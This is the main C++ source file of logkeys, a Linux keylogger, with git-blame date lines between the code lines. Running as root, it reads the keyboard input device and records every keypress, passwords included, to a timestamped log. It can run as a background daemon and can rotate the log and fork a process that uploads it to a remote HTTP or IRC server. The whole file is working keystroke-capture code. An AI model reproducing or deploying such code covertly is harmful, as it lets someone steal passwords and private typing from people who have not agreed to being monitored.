2009-12-13 11:56:57 +01:00
/*
Copyleft ( ɔ ) 2009 Kernc
This program is free software . It comes with absolutely no warranty whatsoever .
See COPYING for further information .
2019-01-19 18:12:02 +01:00
2016-02-10 18:37:29 +01:00
Project homepage : https : //github.com/kernc/logkeys
2019-01-19 18:12:02 +01:00
*/
2009-12-13 11:56:57 +01:00
# include <cstdio>
# include <cerrno>
2010-04-22 15:40:26 +02:00
# include <cwchar>
2010-08-19 19:56:21 +02:00
# include <vector>
2009-12-13 11:56:57 +01:00
# include <cstring>
2010-05-31 23:31:50 +02:00
# include <fstream>
2009-12-13 11:56:57 +01:00
# include <sstream>
# include <cstdlib>
# include <csignal>
2010-04-22 04:06:49 +02:00
# include <error.h>
2010-05-31 23:31:50 +02:00
# include <netdb.h>
2009-12-13 11:56:57 +01:00
# include <unistd.h>
# include <getopt.h>
2017-10-09 22:32:06 +02:00
# include <wctype.h>
2009-12-13 11:56:57 +01:00
# include <sys/file.h>
2010-04-19 23:20:29 +02:00
# include <sys/stat.h>
2010-05-31 23:31:50 +02:00
# include <sys/socket.h>
2009-12-13 11:56:57 +01:00
# include <linux/input.h>
2019-01-19 18:12:02 +01:00
# include <chrono> // for precise time messureing
2009-12-13 11:56:57 +01:00
2010-02-25 05:05:10 +01:00
# ifdef HAVE_CONFIG_H
# include <config.h> // include config produced from ./configure
# endif
2009-12-13 11:56:57 +01:00
2010-04-22 15:40:26 +02:00
# ifndef PACKAGE_VERSION
2012-01-30 22:42:09 +01:00
# define PACKAGE_VERSION "0.1.2" // if PACKAGE_VERSION wasn't defined in <config.h>
2010-02-25 05:05:10 +01:00
# endif
2010-05-31 23:31:50 +02:00
// the following path-to-executable macros should be defined in config.h;
2010-04-22 17:59:58 +02:00
# ifndef EXE_PS
# define EXE_PS " / bin / ps"
# endif
# ifndef EXE_GREP
# define EXE_GREP " / bin / grep"
# endif
# ifndef EXE_DUMPKEYS
# define EXE_DUMPKEYS " / usr / bin / dumpkeys"
# endif
# define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" )
# define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() )
2017-10-09 22:32:06 +02:00
# define COMMAND_STR_CAPSLOCK_STATE ("{ { xset q 2> / dev / null | grep -q -E 'Caps Lock: +on'; } || { setleds 2> / dev / null | grep -q 'CapsLock on'; }; } && echo on")
2010-04-22 17:59:58 +02:00
2010-05-31 23:31:50 +02:00
# define INPUT_EVENT_PATH " / dev / input / " // standard path
# define DEFAULT_LOG_FILE " / var / log / logkeys.log"
# define PID_FILE " / var / run / logkeys.pid"
2010-04-22 04:06:49 +02:00
2010-05-31 23:31:50 +02:00
# include "usage.cc" // usage() function
# include "args.cc" // global arguments struct and arguments parsing
# include "keytables.cc" // character and function key tables and helper functions
# include "upload.cc" // functions concerning remote uploading of log file
2010-04-22 15:40:26 +02:00
2019-01-19 18:12:02 +01:00
// these event.value-s aren't defined in <linux/input.h> ?
# define EV_MAKE 1 // when key pressed
# define EV_BREAK 0 // when key released
# define EV_REPEAT 2 // when key switches to repeating after short delay
# define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ
2010-05-31 23:31:50 +02:00
namespace logkeys {
2009-12-13 11:56:57 +01:00
2010-07-13 17:34:56 +02:00
// executes cmd and returns string ouput
2010-04-22 04:06:49 +02:00
std : : string execute ( const char * cmd )
{
2019-01-19 18:12:02 +01:00
FILE * pipe = popen ( cmd , " r " ) ;
if ( ! pipe )
error ( EXIT_FAILURE , errno , " Pipe error " ) ;
char buffer [ 128 ] ;
std : : string result = " " ;
while ( ! feof ( pipe ) )
if ( fgets ( buffer , 128 , pipe ) ! = NULL )
result + = buffer ;
pclose ( pipe ) ;
return result ;
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
int input_fd = - 1 ; // input event device file descriptor; global so that signal_handler() can access it
void signal_handler ( int signal )
{
2019-01-19 18:12:02 +01:00
if ( input_fd ! = - 1 )
close ( input_fd ) ; // closing input file will break the infinite while loop
2010-04-22 04:06:49 +02:00
}
2010-04-22 15:40:26 +02:00
2010-04-22 04:06:49 +02:00
void set_utf8_locale ( )
{
2019-01-19 18:12:02 +01:00
// set locale to common UTF-8 for wchars to be recognized correctly
if ( setlocale ( LC_CTYPE , " en_US.UTF-8 " ) = = NULL ) { // if en_US.UTF-8 isn't available
char * locale = setlocale ( LC_CTYPE , " " ) ; // try the locale that corresponds to the value of the associated environment variable LC_CTYPE
2019-01-19 19:11:34 +01:00
if ( ! ( locale ! = NULL & & ( strstr ( locale , " UTF-8 " ) ! = NULL | | strstr ( locale , " UTF8 " ) ! = NULL | | strstr ( locale , " utf-8 " ) ! = NULL | | strstr ( locale , " utf8 " ) ! = NULL ) ) )
// if locale has "UTF-8" in its name, it is cool to do nothing
2019-01-19 18:12:02 +01:00
error ( EXIT_FAILURE , 0 , " LC_CTYPE locale must be of UTF-8 type, or you need en_US.UTF-8 availabe " ) ;
}
2010-04-22 04:06:49 +02:00
}
2010-04-22 15:40:26 +02:00
void exit_cleanup ( int status , void * discard )
2010-04-22 04:06:49 +02:00
{
2019-01-19 18:12:02 +01:00
// TODO:
2009-12-13 11:56:57 +01:00
}
2010-04-22 15:40:26 +02:00
void create_PID_file ( )
{
2019-01-19 18:12:02 +01:00
// create temp file carrying PID for later retrieval
int pid_fd = open ( PID_FILE , O_WRONLY | O_CREAT | O_EXCL , 0644 ) ;
if ( pid_fd ! = - 1 ) {
char pid_str [ 16 ] = { 0 } ;
sprintf ( pid_str , " %d " , getpid ( ) ) ;
if ( write ( pid_fd , pid_str , strlen ( pid_str ) ) = = - 1 )
error ( EXIT_FAILURE , errno , " Error writing to PID file ' " PID_FILE " ' " ) ;
close ( pid_fd ) ;
} else {
if ( errno = = EEXIST ) // This should never happen
error ( EXIT_FAILURE , errno , " Another process already running? Quitting. ( " PID_FILE " ) " ) ;
else
error ( EXIT_FAILURE , errno , " Error opening PID file ' " PID_FILE " ' " ) ;
}
2010-04-22 15:40:26 +02:00
}
2010-04-22 04:06:49 +02:00
void kill_existing_process ( )
{
2019-01-19 18:12:02 +01:00
pid_t pid ;
bool via_file = true ;
bool via_pipe = true ;
FILE * temp_file = fopen ( PID_FILE , " r " ) ;
via_file & = ( temp_file ! = NULL ) ;
if ( via_file ) { // kill process with pid obtained from PID file
via_file & = ( fscanf ( temp_file , " %d " , & pid ) = = 1 ) ;
fclose ( temp_file ) ;
}
if ( ! via_file ) { // if reading PID from temp_file failed, try ps-grep pipe
via_pipe & = ( sscanf ( execute ( COMMAND_STR_GET_PID ) . c_str ( ) , " %d " , & pid ) = = 1 ) ;
via_pipe & = ( pid ! = getpid ( ) ) ;
}
if ( via_file | | via_pipe ) {
remove ( PID_FILE ) ;
kill ( pid , SIGINT ) ;
exit ( EXIT_SUCCESS ) ; // process killed successfully, exit
}
error ( EXIT_FAILURE , 0 , " No process killed " ) ;
2009-12-13 11:56:57 +01:00
}
2010-04-22 04:06:49 +02:00
void set_signal_handling ( )
{ // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully
2019-01-19 18:12:02 +01:00
struct sigaction act = { { 0 } } ;
act . sa_handler = signal_handler ;
sigaction ( SIGHUP , & act , NULL ) ;
sigaction ( SIGINT , & act , NULL ) ;
sigaction ( SIGTERM , & act , NULL ) ;
// prevent child processes from becoming zombies
act . sa_handler = SIG_IGN ;
sigaction ( SIGCHLD , & act , NULL ) ;
2010-04-22 04:06:49 +02:00
}
2010-04-22 15:40:26 +02:00
void determine_system_keymap ( )
2010-04-22 04:06:49 +02:00
{
2019-01-19 18:12:02 +01:00
// custom map will be used; erase existing US keymapping
memset ( char_keys , ' \0 ' , sizeof ( char_keys ) ) ;
memset ( shift_keys , ' \0 ' , sizeof ( shift_keys ) ) ;
memset ( altgr_keys , ' \0 ' , sizeof ( altgr_keys ) ) ;
// get keymap from dumpkeys
// if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx
std : : stringstream ss , dump ( execute ( COMMAND_STR_DUMPKEYS ) ) ; // see example output after i.e. `loadkeys slovene`
std : : string line ;
unsigned int i = 0 ; // keycode
int index ;
int utf8code ; // utf-8 code of keysym answering keycode i
while ( std : : getline ( dump , line ) ) {
ss . clear ( ) ;
ss . str ( " " ) ;
utf8code = 0 ;
// replace any U+#### with 0x#### for easier parsing
index = line . find ( " U+ " , 0 ) ;
while ( static_cast < std : : string : : size_type > ( index ) ! = std : : string : : npos ) {
line [ index ] = ' 0 ' ;
line [ index + 1 ] = ' x ' ;
index = line . find ( " U+ " , index ) ;
}
if ( + + i > = sizeof ( char_or_func ) )
break ; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
if ( ! is_char_key ( i ) )
continue ; // only map character keys of keyboard
assert ( line . size ( ) > 0 ) ;
if ( line [ 0 ] = = ' k ' ) { // if line starts with 'keycode'
index = to_char_keys_index ( i ) ;
ss < < & line [ 14 ] ; // 1st keysym starts at index 14 (skip "keycode XXX = ")
ss > > std : : hex > > utf8code ;
// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
if ( line [ 14 ] = = ' + ' & & ( utf8code & 0xB00 ) )
utf8code ^ = 0xB00 ;
char_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
// if there is a second keysym column, assume it is a shift column
if ( ss > > std : : hex > > utf8code ) {
if ( line [ 14 ] = = ' + ' & & ( utf8code & 0xB00 ) )
utf8code ^ = 0xB00 ;
shift_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
}
// if there is a third keysym column, assume it is an altgr column
if ( ss > > std : : hex > > utf8code ) {
if ( line [ 14 ] = = ' + ' & & ( utf8code & 0xB00 ) )
utf8code ^ = 0xB00 ;
altgr_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
}
continue ;
}
// else if line starts with 'shift i'
index = to_char_keys_index ( - - i ) ;
ss < < & line [ 21 ] ; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
ss > > std : : hex > > utf8code ;
if ( line [ 21 ] = = ' + ' & & ( utf8code & 0xB00 ) )
utf8code ^ = 0xB00 ; // see line 0XB00CLUELESS
if ( line [ 1 ] = = ' s ' ) // if line starts with "shift"
shift_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
if ( line [ 1 ] = = ' a ' ) // if line starts with "altgr"
altgr_keys [ index ] = static_cast < wchar_t > ( utf8code ) ;
} // while (getline(dump, line))
2010-04-22 15:40:26 +02:00
}
2010-05-31 23:31:50 +02:00
2010-04-22 15:40:26 +02:00
void parse_input_keymap ( )
{
2019-01-19 18:12:02 +01:00
// custom map will be used; erase existing US keytables
memset ( char_keys , ' \0 ' , sizeof ( char_keys ) ) ;
memset ( shift_keys , ' \0 ' , sizeof ( shift_keys ) ) ;
memset ( altgr_keys , ' \0 ' , sizeof ( altgr_keys ) ) ;
stdin = freopen ( args . keymap . c_str ( ) , " r " , stdin ) ;
if ( stdin = = NULL )
error ( EXIT_FAILURE , errno , " Error opening input keymap '%s' " , args . keymap . c_str ( ) ) ;
unsigned int i = - 1 ;
unsigned int line_number = 0 ;
wchar_t func_string [ 32 ] ;
wchar_t line [ 32 ] ;
while ( ! feof ( stdin ) ) {
if ( + + i > = sizeof ( char_or_func ) )
break ; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
if ( is_used_key ( i ) ) {
+ + line_number ;
if ( fgetws ( line , sizeof ( line ) , stdin ) = = NULL ) {
if ( feof ( stdin ) )
break ;
else
error_at_line ( EXIT_FAILURE , errno , args . keymap . c_str ( ) , line_number , " fgets() error " ) ;
}
// line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n")
if ( wcslen ( line ) > 8 ) // TODO: replace 8*2 with 8 and wcslen()!
error_at_line ( EXIT_FAILURE , 0 , args . keymap . c_str ( ) , line_number , " Line too long! " ) ;
// terminate line before any \r or \n
std : : wstring : : size_type last = std : : wstring ( line ) . find_last_not_of ( L " \r \n " ) ;
if ( last = = std : : wstring : : npos )
error_at_line ( EXIT_FAILURE , 0 , args . keymap . c_str ( ) , line_number , " No characters on line " ) ;
line [ last + 1 ] = ' \0 ' ;
}
if ( is_char_key ( i ) ) {
unsigned int index = to_char_keys_index ( i ) ;
if ( swscanf ( line , L " %lc %lc %lc " , & char_keys [ index ] , & shift_keys [ index ] , & altgr_keys [ index ] ) < 1 ) {
error_at_line ( EXIT_FAILURE , 0 , args . keymap . c_str ( ) , line_number , " Too few input characters on line " ) ;
}
}
if ( is_func_key ( i ) ) {
if ( i = = KEY_SPACE )
continue ; // space causes empty string and trouble
if ( swscanf ( line , L " %7ls " , & func_string [ 0 ] ) ! = 1 )
error_at_line ( EXIT_FAILURE , 0 , args . keymap . c_str ( ) , line_number , " Invalid function key string " ) ; // does this ever happen?
wcscpy ( func_keys [ to_func_keys_index ( i ) ] , func_string ) ;
}
} // while (!feof(stdin))
fclose ( stdin ) ;
if ( line_number < N_KEYS_DEFINED )
2010-04-22 15:40:26 +02:00
# define QUOTE(x) #x // quotes x so it can be used as (char*)
2019-01-19 18:12:02 +01:00
error ( EXIT_FAILURE , 0 , " Too few lines in input keymap '%s'; There should be " QUOTE ( N_KEYS_DEFINED ) " lines! " , args . keymap . c_str ( ) ) ;
2010-04-22 15:40:26 +02:00
}
2010-04-22 04:06:49 +02:00
2010-04-22 15:40:26 +02:00
void export_keymap_to_file ( )
{
2019-01-19 18:12:02 +01:00
int keymap_fd = open ( args . keymap . c_str ( ) , O_CREAT | O_EXCL | O_WRONLY , 0644 ) ;
if ( keymap_fd = = - 1 )
error ( EXIT_FAILURE , errno , " Error opening output file '%s' " , args . keymap . c_str ( ) ) ;
char buffer [ 32 ] ;
int buflen = 0 ;
unsigned int index ;
for ( unsigned int i = 0 ; i < sizeof ( char_or_func ) ; + + i ) {
buflen = 0 ;
if ( is_char_key ( i ) ) {
index = to_char_keys_index ( i ) ;
// only export non-null characters
if ( char_keys [ index ] ! = L ' \0 ' & & shift_keys [ index ] ! = L ' \0 ' & & altgr_keys [ index ] ! = L ' \0 ' )
buflen = sprintf ( buffer , " %lc %lc %lc \n " , char_keys [ index ] , shift_keys [ index ] , altgr_keys [ index ] ) ;
else if ( char_keys [ index ] ! = L ' \0 ' & & shift_keys [ index ] ! = L ' \0 ' )
buflen = sprintf ( buffer , " %lc %lc \n " , char_keys [ index ] , shift_keys [ index ] ) ;
else if ( char_keys [ index ] ! = L ' \0 ' )
buflen = sprintf ( buffer , " %lc \n " , char_keys [ index ] ) ;
else
// if all \0, export nothing on that line (=keymap will not parse)
buflen = sprintf ( buffer , " \n " ) ;
} else if ( is_func_key ( i ) ) {
buflen = sprintf ( buffer , " %ls \n " , func_keys [ to_func_keys_index ( i ) ] ) ;
}
if ( is_used_key ( i ) )
if ( write ( keymap_fd , buffer , buflen ) < buflen )
error ( EXIT_FAILURE , errno , " Error writing to keymap file '%s' " , args . keymap . c_str ( ) ) ;
}
close ( keymap_fd ) ;
error ( EXIT_SUCCESS , 0 , " Success writing keymap to file '%s' " , args . keymap . c_str ( ) ) ;
exit ( EXIT_SUCCESS ) ;
2010-04-22 15:40:26 +02:00
}
void determine_input_device ( )
{
2019-01-19 18:12:02 +01:00
// better be safe than sory: while running other programs, switch user to nobody
setegid ( 65534 ) ;
seteuid ( 65534 ) ;
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
// The compiler automatically concatenates these adjacent strings to a single string.
const char * cmd = EXE_GREP " -E 'Handlers|EV=' /proc/bus/input/devices | "
EXE_GREP " -B1 'EV=1[02]001[3Ff]' | "
EXE_GREP " -Eo 'event[0-9]+' " ;
std : : stringstream output ( execute ( cmd ) ) ;
std : : vector < std : : string > results ;
std : : string line ;
while ( std : : getline ( output , line ) ) {
std : : string : : size_type i = line . find ( " event " ) ;
if ( i ! = std : : string : : npos )
i + = 5 ; // "event".size() == 5
if ( i < line . size ( ) ) {
int index = atoi ( & line . c_str ( ) [ i ] ) ;
if ( index ! = - 1 ) {
std : : stringstream input_dev_path ;
input_dev_path < < INPUT_EVENT_PATH ;
input_dev_path < < " event " ;
input_dev_path < < index ;
results . push_back ( input_dev_path . str ( ) ) ;
}
}
}
if ( results . size ( ) = = 0 ) {
error ( 0 , 0 , " Couldn't determine keyboard device. :/ " ) ;
error ( EXIT_FAILURE , 0 , " Please post contents of your /proc/bus/input/devices file as a new bug report. Thanks! " ) ;
}
args . device = results [ 0 ] ; // for now, use only the first found device
// now we reclaim those root privileges
seteuid ( 0 ) ;
setegid ( 0 ) ;
2010-04-22 15:40:26 +02:00
}
2010-04-22 04:06:49 +02:00
2019-01-19 18:12:02 +01:00
void init ( ) {
if ( geteuid ( ) )
error ( EXIT_FAILURE , errno , " Got r00t? " ) ;
// kill existing logkeys process
if ( args . kill )
kill_existing_process ( ) ;
// if neither start nor export, that must be an error
if ( ! args . start & & ! ( args . flags & FLAG_EXPORT_KEYMAP ) ) {
usage ( ) ;
exit ( EXIT_FAILURE ) ;
}
// if posting remote and post_size not set, set post_size to default [500K bytes]
if ( args . post_size = = 0 & & ( ! args . http_url . empty ( ) | | ! args . irc_server . empty ( ) ) ) {
args . post_size = 500000 ;
}
// check for incompatible flags
if ( ! args . keymap . empty ( ) & & ( ! ( args . flags & FLAG_EXPORT_KEYMAP ) & & args . us_keymap ) ) { // exporting uses args.keymap also
error ( EXIT_FAILURE , 0 , " Incompatible flags '-m' and '-u'. See usage. " ) ;
}
// check for incompatible flags: if posting remote and output is set to stdout
if ( args . post_size ! = 0 & & ( args . logfile = = " - " ) ) {
error ( EXIT_FAILURE , 0 , " Incompatible flags [--post-size | --post-http] and --output to stdout " ) ;
}
set_utf8_locale ( ) ;
if ( args . flags & FLAG_EXPORT_KEYMAP ) {
if ( ! args . us_keymap )
determine_system_keymap ( ) ;
export_keymap_to_file ( ) ;
// = exit(0)
} else if ( ! args . keymap . empty ( ) ) // custom keymap in use
parse_input_keymap ( ) ;
else
determine_system_keymap ( ) ;
if ( args . device . empty ( ) ) { // no device given with -d switch
determine_input_device ( ) ;
} else { // event device supplied as -d argument
std : : string : : size_type i = args . device . find_last_of ( ' / ' ) ;
args . device = ( std : : string ( INPUT_EVENT_PATH ) + args . device . substr ( i = = std : : string : : npos ? 0 : i + 1 ) ) ;
}
set_signal_handling ( ) ;
close ( STDIN_FILENO ) ;
// leave stderr open
if ( args . logfile ! = " - " ) {
close ( STDOUT_FILENO ) ;
}
// open input device for reading
input_fd = open ( args . device . c_str ( ) , O_RDONLY ) ;
if ( input_fd = = - 1 ) {
error ( EXIT_FAILURE , errno , " Error opening input event device '%s' " , args . device . c_str ( ) ) ;
}
// if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't!
if ( args . logfile = = DEFAULT_LOG_FILE ) {
seteuid ( getuid ( ) ) ;
setegid ( getgid ( ) ) ;
}
}
std : : string createStamp ( ) {
std : : chrono : : time_point < std : : chrono : : system_clock > time = std : : chrono : : system_clock : : now ( ) ;
2019-01-19 18:54:41 +01:00
auto time_ms = std : : chrono : : duration_cast < std : : chrono : : milliseconds > ( time . time_since_epoch ( ) ) ;
std : : string out = " " ;
if ( ! args . onlyms ) {
time_t cur_time = std : : chrono : : system_clock : : to_time_t ( time ) ;
time_ms = std : : chrono : : duration_cast < std : : chrono : : milliseconds > ( time - std : : chrono : : system_clock : : from_time_t ( cur_time ) ) ;
char timestamp [ 32 ] ;
strftime ( timestamp , sizeof ( timestamp ) , TIME_FORMAT , localtime ( & cur_time ) ) ;
out = std : : string ( timestamp ) ;
}
return out + std : : to_string ( time_ms . count ( ) ) + " ms : " ;
2019-01-19 18:12:02 +01:00
}
int printBeginStamp ( FILE * out ) {
std : : string timestamp = createStamp ( ) ;
int size = 0 ;
if ( args . flags & FLAG_NO_TIMESTAMPS )
size = fputs ( ( " Logging started at " + timestamp + " \n \n " ) . c_str ( ) , out ) ;
else
size = fputs ( ( " Logging started ... \n \n " + timestamp ) . c_str ( ) , out ) ;
fflush ( out ) ;
return size > 0 ? size : 0 ;
}
int printTimeStamp ( FILE * out ) {
int size = 0 ;
if ( ! ( args . flags & FLAG_NO_TIMESTAMPS ) )
size = fputs ( ( " \n " + createStamp ( ) ) . c_str ( ) , out ) ;
return size ;
}
2010-05-31 23:31:50 +02:00
2010-04-22 04:06:49 +02:00
int main ( int argc , char * * argv )
2019-01-19 18:12:02 +01:00
{
on_exit ( exit_cleanup , NULL ) ;
args . logfile = ( char * ) DEFAULT_LOG_FILE ; // default log file will be used if none specified
process_command_line_arguments ( argc , argv ) ;
init ( ) ;
// open log file (if file doesn't exist, create it with safe 0600 permissions)
umask ( 0177 ) ;
FILE * out = NULL ;
if ( args . logfile = = " - " ) {
out = stdout ;
} else {
out = fopen ( args . logfile . c_str ( ) , " a " ) ;
}
if ( ! out )
error ( EXIT_FAILURE , errno , " Error opening output file '%s' " , args . logfile . c_str ( ) ) ;
if ( access ( PID_FILE , F_OK ) ! = - 1 ) // PID file already exists
error ( EXIT_FAILURE , errno , " Another process already running? Quitting. ( " PID_FILE " ) " ) ;
if ( ! ( args . flags & FLAG_NO_DAEMON ) ) {
int noclose = 1 ; // don't close streams (stderr used)
if ( daemon ( 0 , noclose ) = = - 1 ) // become daemon
error ( EXIT_FAILURE , errno , " Failed to become daemon " ) ;
}
// now we need those privileges back in order to create system-wide PID_FILE
seteuid ( 0 ) ;
setegid ( 0 ) ;
if ( ! ( args . flags & FLAG_NO_DAEMON ) ) {
create_PID_file ( ) ;
}
// now we've got everything we need, finally drop privileges by becoming 'nobody'
//setegid(65534); seteuid(65534); // commented-out, I forgot why xD
unsigned int scan_code , prev_code = 0 ; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
struct input_event event ;
//char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > "
bool capslock_in_effect = execute ( COMMAND_STR_CAPSLOCK_STATE ) . size ( ) > = 2 ;
bool shift_in_effect = false ;
bool altgr_in_effect = false ;
bool ctrl_in_effect = false ; // used for identifying Ctrl+C / Ctrl+D
int count_repeats = 0 ; // count_repeats differs from the actual number of repeated characters! afaik, only the OS knows how these two values are related (by respecting configured repeat speed and delay)
struct stat st ;
stat ( args . logfile . c_str ( ) , & st ) ;
off_t file_size = st . st_size ; // log file is currently file_size bytes "big"
int inc_size ; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration
/*time_t cur_time;
2009-12-13 11:56:57 +01:00
time ( & cur_time ) ;
2010-05-31 23:31:50 +02:00
strftime ( timestamp , sizeof ( timestamp ) , TIME_FORMAT , localtime ( & cur_time ) ) ;
2019-01-19 18:12:02 +01:00
*/
file_size + = printBeginStamp ( out ) ;
// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
while ( read ( input_fd , & event , sizeof ( struct input_event ) ) > 0 ) {
if ( event . type ! = EV_KEY )
continue ; // keyboard events are always of type EV_KEY
inc_size = 0 ;
scan_code = event . code ;
if ( scan_code > = sizeof ( char_or_func ) ) { // keycode out of range, log error
inc_size + = fprintf ( out , " <E-%x> " , scan_code ) ;
if ( inc_size > 0 )
file_size + = inc_size ;
continue ;
}
// if remote posting is enabled and size treshold is reached
if ( args . post_size ! = 0 & & file_size > = args . post_size & & stat ( UPLOADER_PID_FILE , & st ) = = - 1 ) {
fclose ( out ) ;
std : : stringstream ss ;
for ( int i = 1 ; ; + + i ) {
ss . clear ( ) ;
ss . str ( " " ) ;
ss < < args . logfile < < " . " < < i ;
if ( stat ( ss . str ( ) . c_str ( ) , & st ) = = - 1 )
break ; // file .log.i doesn't yet exist
}
if ( rename ( args . logfile . c_str ( ) , ss . str ( ) . c_str ( ) ) = = - 1 ) // move current log file to indexed
error ( EXIT_FAILURE , errno , " Error renaming logfile " ) ;
out = fopen ( args . logfile . c_str ( ) , " a " ) ; // open empty log file with the same name
if ( ! out )
error ( EXIT_FAILURE , errno , " Error opening output file '%s' " , args . logfile . c_str ( ) ) ;
file_size = 0 ; // new log file is now empty
// write new timestamp
//time(&cur_time);
//strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time));
file_size + = printBeginStamp ( out ) ;
if ( ! args . http_url . empty ( ) | | ! args . irc_server . empty ( ) ) {
switch ( fork ( ) ) {
case - 1 :
2019-01-19 19:11:34 +01:00
error ( 0 , errno , " Error while forking remote-posting process " ) ; break ;
2019-01-19 18:12:02 +01:00
case 0 :
start_remote_upload ( ) ; // child process will upload the .log.i files
exit ( EXIT_SUCCESS ) ;
}
}
}
// on key repeat ; must check before on key press
if ( event . value = = EV_REPEAT ) {
+ + count_repeats ;
} else if ( count_repeats ) {
2019-01-19 19:11:34 +01:00
if ( ! ( prev_code = = KEY_RIGHTSHIFT | | prev_code = = KEY_LEFTCTRL | | prev_code = = KEY_RIGHTALT | | prev_code = = KEY_LEFTALT | | prev_code = = KEY_LEFTSHIFT | | prev_code = = KEY_RIGHTCTRL ) ) // if repeated key is modifier, do nothing
{
if ( ! ( ( args . flags & FLAG_NO_FUNC_KEYS ) & & is_func_key ( prev_code ) ) ) // if repeated was function key, and if we don't log function keys, then don't log repeat either
2019-01-19 18:12:02 +01:00
inc_size + = fprintf ( out , " <#+%d> " , count_repeats ) ;
}
count_repeats = 0 ; // reset count for future use
}
// on key press
if ( event . value = = EV_MAKE ) {
// on ENTER key or Ctrl+C/Ctrl+D event or precise is enabled append timestamp
if ( scan_code = = KEY_ENTER | | scan_code = = KEY_KPENTER | | ( ctrl_in_effect & & ( scan_code = = KEY_C | | scan_code = = KEY_D ) ) ) {
if ( ctrl_in_effect )
inc_size + = fprintf ( out , " %lc " , char_keys [ to_char_keys_index ( scan_code ) ] ) ; // log C or D
if ( args . flags & FLAG_NO_TIMESTAMPS )
inc_size + = fprintf ( out , " \n " ) ;
else
inc_size + = printTimeStamp ( out ) ;
if ( inc_size > 0 )
file_size + = inc_size ;
//continue; // but don't log "<Enter>"
} else if ( args . precise ) {
inc_size + = printTimeStamp ( out ) ;
}
if ( scan_code = = KEY_CAPSLOCK )
capslock_in_effect = ! capslock_in_effect ;
if ( scan_code = = KEY_LEFTSHIFT | | scan_code = = KEY_RIGHTSHIFT )
shift_in_effect = true ;
if ( scan_code = = KEY_RIGHTALT )
altgr_in_effect = true ;
if ( scan_code = = KEY_LEFTCTRL | | scan_code = = KEY_RIGHTCTRL )
ctrl_in_effect = true ;
// print character or string coresponding to received keycode; only print chars when not \0
if ( is_char_key ( scan_code ) ) {
wchar_t wch ;
if ( altgr_in_effect ) {
wch = altgr_keys [ to_char_keys_index ( scan_code ) ] ;
if ( wch = = L ' \0 ' ) {
if ( shift_in_effect )
wch = shift_keys [ to_char_keys_index ( scan_code ) ] ;
else
wch = char_keys [ to_char_keys_index ( scan_code ) ] ;
}
}
else if ( capslock_in_effect & & iswalpha ( char_keys [ to_char_keys_index ( scan_code ) ] ) ) { // only bother with capslock if alpha
if ( shift_in_effect ) // capslock and shift cancel each other
wch = char_keys [ to_char_keys_index ( scan_code ) ] ;
else
wch = shift_keys [ to_char_keys_index ( scan_code ) ] ;
if ( wch = = L ' \0 ' )
wch = char_keys [ to_char_keys_index ( scan_code ) ] ;
}
else if ( shift_in_effect ) {
wch = shift_keys [ to_char_keys_index ( scan_code ) ] ;
if ( wch = = L ' \0 ' )
wch = char_keys [ to_char_keys_index ( scan_code ) ] ;
} else
// neither altgr nor shift are effective, this is a normal char
wch = char_keys [ to_char_keys_index ( scan_code ) ] ;
if ( wch ! = L ' \0 ' )
//inc_size += fprintf(out, "%lc", wch); // write character to log file
inc_size + = fputc ( wch , out ) ;
} else if ( is_func_key ( scan_code ) ) {
if ( ! ( args . flags & FLAG_NO_FUNC_KEYS ) ) { // only log function keys if --no-func-keys not requested
inc_size + = fprintf ( out , " %ls " , func_keys [ to_func_keys_index ( scan_code ) ] ) ;
} else if ( scan_code = = KEY_SPACE | | scan_code = = KEY_TAB ) {
inc_size + = fprintf ( out , " " ) ; // but always log a single space for Space and Tab keys
}
} else
inc_size + = fprintf ( out , " <E-%x> " , scan_code ) ; // keycode is neither of character nor function, log error
fflush ( out ) ;
} // if (EV_MAKE)
// on key release
if ( event . value = = EV_BREAK ) {
if ( scan_code = = KEY_LEFTSHIFT | | scan_code = = KEY_RIGHTSHIFT )
shift_in_effect = false ;
if ( scan_code = = KEY_RIGHTALT )
altgr_in_effect = false ;
if ( scan_code = = KEY_LEFTCTRL | | scan_code = = KEY_RIGHTCTRL )
ctrl_in_effect = false ;
}
prev_code = scan_code ;
fflush ( out ) ;
if ( inc_size > 0 )
file_size + = inc_size ;
} // while (read(input_fd))
// append final timestamp, close files and exit
//time(&cur_time);
//strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time));
fputs ( ( " \n \n Logging stopped at " + createStamp ( ) + " \n \n " ) . c_str ( ) , out ) ;
fclose ( out ) ;
remove ( PID_FILE ) ;
exit ( EXIT_SUCCESS ) ;
2010-04-22 15:40:26 +02:00
} // main()
} // namespace logkeys
2010-05-31 23:31:50 +02:00
int main ( int argc , char * * argv )
{
2019-01-19 18:12:02 +01:00
return logkeys : : main ( argc , argv ) ;
2010-04-22 17:59:58 +02:00
}